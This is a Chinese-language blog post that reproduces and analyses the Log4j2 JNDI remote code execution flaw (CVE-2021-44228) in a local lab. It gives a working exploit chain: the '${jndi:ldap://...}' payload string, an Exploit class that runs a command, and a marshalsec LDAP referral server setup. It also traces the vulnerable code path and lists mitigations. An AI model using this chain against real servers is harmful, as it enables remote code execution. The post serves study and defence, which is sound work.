Apache Log4j2 RCE命令执行漏洞分析

2024-09-13 23 0

一、简介

最近闲来无事,在闲暇时间搭建环境复现并分析了经典Apache Log4j2 RCE 漏洞(CVE-2021-44228) ,有感兴趣的师傅们可以研究学习,共同成长进步。

Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题,是目前最优秀的Java日志框架之一。

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。

该漏洞的触发点在于利用org.apache.logging.log4j.Logger进行log或error等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生。

影响版本

Apache Log4j 2.x <= 2.14.1

二、漏洞环境搭建

先新建一个maven工程

Apache Log4j2 RCE命令执行漏洞分析插图

点击Next

Apache Log4j2 RCE命令执行漏洞分析插图1

给工程随便起一个名字: Apache Log4j2-test

Apache Log4j2 RCE命令执行漏洞分析插图2

在生成的pom.xml文件中添加Apache Log4j依赖

Apache Log4j2 RCE命令执行漏洞分析插图3

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.0</version>
</dependency>

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.0</version>
</dependency>
</dependencies>

然后重构maven工程

Apache Log4j2 RCE命令执行漏洞分析插图4

在src/main/java下新建咱们的测试文件

Apache Log4j2 RCE命令执行漏洞分析插图5

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import sun.applet.Main;

public class log4j {
private static Logger LOG=LogManager.getLogger(Main.class);
public static void main(String[] args) {
LOG.error("${jndi:ldap://localhost:9394/Exploit}");
}
}

三、漏洞复现

新建一个攻击文件Exploit.java,文件内容如下:

Apache Log4j2 RCE命令执行漏洞分析插图6

import java.lang.Runtime;
import java.lang.Process;

public class  Exploit{
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}

编译成class文件 : javac Exploit.java

网上有说漏洞能否复现成功和java版本有关系(复现环境的jdk版本最好<=8u191),建议先查看一下java版本8u301(不过照样复现成功^_^)

Apache Log4j2 RCE命令执行漏洞分析插图7

使用python起一个web服务

python3 -m http.server 8888

Apache Log4j2 RCE命令执行漏洞分析插图8

在有marshalsec-0.0.3-SNAPSHOT-all.jar的目录下执行以下命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" 9394

Apache Log4j2 RCE命令执行漏洞分析插图9

运行log4j.java

Apache Log4j2 RCE命令执行漏洞分析插图10

成功弹出计算器

Apache Log4j2 RCE命令执行漏洞分析插图11

Apache Log4j2 RCE命令执行漏洞分析插图12

Apache Log4j2 RCE命令执行漏洞分析插图13

四、漏洞分析

漏洞的关键点在log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format

该函数会将收到的消息匹配以${开始}结尾中间的所有字符,调用一些允许范围内的语法

Apache Log4j2 RCE命令执行漏洞分析插图14

使用正向分析。先从咱们的入口进入

Apache Log4j2 RCE命令执行漏洞分析插图15

来到log4j-api-2.12.0.jar!\org\apache\logging\log4j\spi\AbstractLogger.class#error,调用logIfEnabled方法,跟进如下图所示:

Apache Log4j2 RCE命令执行漏洞分析插图16

这里有一个判断,符合条件才能调用logMessage方法,就大致说一下结论吧:level<=200 就行

level对应表,使用ERROR,FATAL,OFF满足条件
OFF(0),
FATAL(100),
ERROR(200),
WARN(300),
INFO(400),
DEBUG(500),
TRACE(600),
ALL(2147483647);
如WARN、INFO、DEBUG、ALL,则无法触发该漏洞。也就是说,漏洞能否成功触发与设置的日志Level有关。

Apache Log4j2 RCE命令执行漏洞分析插图17

接下来就是一步步进入一系列函数

Apache Log4j2 RCE命令执行漏洞分析插图18

Apache Log4j2 RCE命令执行漏洞分析插图19

Apache Log4j2 RCE命令执行漏洞分析插图20

Apache Log4j2 RCE命令执行漏洞分析插图21

我们直接来到关键地方log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\Logger.class#logMessage,实例化一个DefaultReliabilityStrategy类,然后调用其log方法

Apache Log4j2 RCE命令执行漏洞分析插图22

先来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\DefaultReliabilityStrategy.class#log,调用this.loggerConfig.log方法,this.loggerConfig为LoggerConfig

Apache Log4j2 RCE命令执行漏洞分析插图23

进入到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\LoggerConfig.class#log函数,先将咱们的LOG.error中的消息(data参数)和一些其他杂七杂八的配置整合到进logEvent,然后调用this.log方法

Apache Log4j2 RCE命令执行漏洞分析插图24

进入判断,这个不用管,默认会进入判断语句里面,可以看到此时我们的payload存放在messageFormat中

Apache Log4j2 RCE命令执行漏洞分析插图25

跟进到processLogEvent函数,还是默认

Apache Log4j2 RCE命令执行漏洞分析插图26

来到callAppenders,实例化一个AppenderControl类,然后调用其callAppender函数

Apache Log4j2 RCE命令执行漏洞分析插图27

跟进到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\config\AppenderControl.class#callAppender

Apache Log4j2 RCE命令执行漏洞分析插图28

还是常规的各种函数调用,一路都是跟着默认走

Apache Log4j2 RCE命令执行漏洞分析插图29

Apache Log4j2 RCE命令执行漏洞分析插图30

Apache Log4j2 RCE命令执行漏洞分析插图31

log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\appender\AbstractOutputStreamAppender.class#append

Apache Log4j2 RCE命令执行漏洞分析插图32

Apache Log4j2 RCE命令执行漏洞分析插图33

Apache Log4j2 RCE命令执行漏洞分析插图34

Apache Log4j2 RCE命令执行漏洞分析插图35

Apache Log4j2 RCE命令执行漏洞分析插图36

来到关键点之一log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\layout\PatternLayout.class#toSerializable,跟进i参数依次调用对应的类的format方法。其中就有咱们漏洞的主人公MessagePatternConverter

8 = {PatternFormatter@1872} "org.apache.logging.log4j.core.pattern.PatternFormatter@752325ad[converter=org.apache.logging.log4j.core.pattern.MessagePatternConverter@279fedbd, field=org.apache.logging.log4j.core.pattern.FormattingInfo@ba2f4ec[leftAlign=false, maxLength=2147483647, minLength=0, leftTruncate=true, zeroPad=false]]"

Apache Log4j2 RCE命令执行漏洞分析插图37

来到log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\pattern\MessagePatternConverter.class#format,取出${}里面的内容然后调用

workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));

漏洞关键点二:参数是调用log4j-core-2.12.0.jar!\org\apache\logging\log4j\core\lookup\StrSubstitutor.class#replace处理咱们的payload(event中messageFormat参数值)

在函数114行首先要判断noLookups这个变量的值,noLookups默认为false,意思为开启JNDI格式化功能,这也是为什么修复方法中有一条是设置log4j2.formatMsgNoLookups=True

Apache Log4j2 RCE命令执行漏洞分析插图38

返回值会调用this.substitute进行判断

Apache Log4j2 RCE命令执行漏洞分析插图39

StrSubstitutor.class#substitute的374行会调用resolveVariable函数

Apache Log4j2 RCE命令执行漏洞分析插图40

该函数先获取StrLookup类的VariableResolver初始化配置信息:{date, java, marker, ctx, jndi, main, jvmrunargs, sys, env, log4j}

然后调用resolver.lookup方法

Apache Log4j2 RCE命令执行漏洞分析插图41

有多种不同的lookup方法,跟进payload中指定的命令而定

Apache Log4j2 RCE命令执行漏洞分析插图42

当构造的event的prefix为jndi时,则通过org.apache.logging.log4j.core.lookup.JndiLookup的lookup()方法处理,从而触发JNDI漏洞利用。

访问ldap指定的地址然后执行恶意类造成RCE

Apache Log4j2 RCE命令执行漏洞分析插图43

调用链如下:

<clinit>:11, Exploit
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:198, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1060, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:982, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:878, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:433, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:334, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:233, PatternLayout (org.apache.logging.log4j.core.layout)
encode:218, PatternLayout (org.apache.logging.log4j.core.layout)
encode:58, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:464, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:448, LoggerConfig (org.apache.logging.log4j.core.config)
log:431, LoggerConfig (org.apache.logging.log4j.core.config)
log:406, LoggerConfig (org.apache.logging.log4j.core.config)
log:49, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
logMessage:146, Logger (org.apache.logging.log4j.core)
tryLogMessage:2170, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2125, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2108, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2002, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1974, AbstractLogger (org.apache.logging.log4j.spi)
error:731, AbstractLogger (org.apache.logging.log4j.spi)
main:8, log4j

五、漏洞修复

(1)jvm参数 -Dlog4j2.formatMsgNoLookups=true

(2)在应用程序的classpath下添加log4j2.component.properties配置文件文件,文件内容:log4j2.formatMsgNoLookups=True

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

*该文章仅用于安全技术分享,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责文章作者不为此承担任何责任。*


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞
万字长文浅谈三高系统建设方法论和实践
你遇到过哪些奇葩面试题目;如何考察渗透测试与安全管理能力| FB甲方群话题讨论

发布评论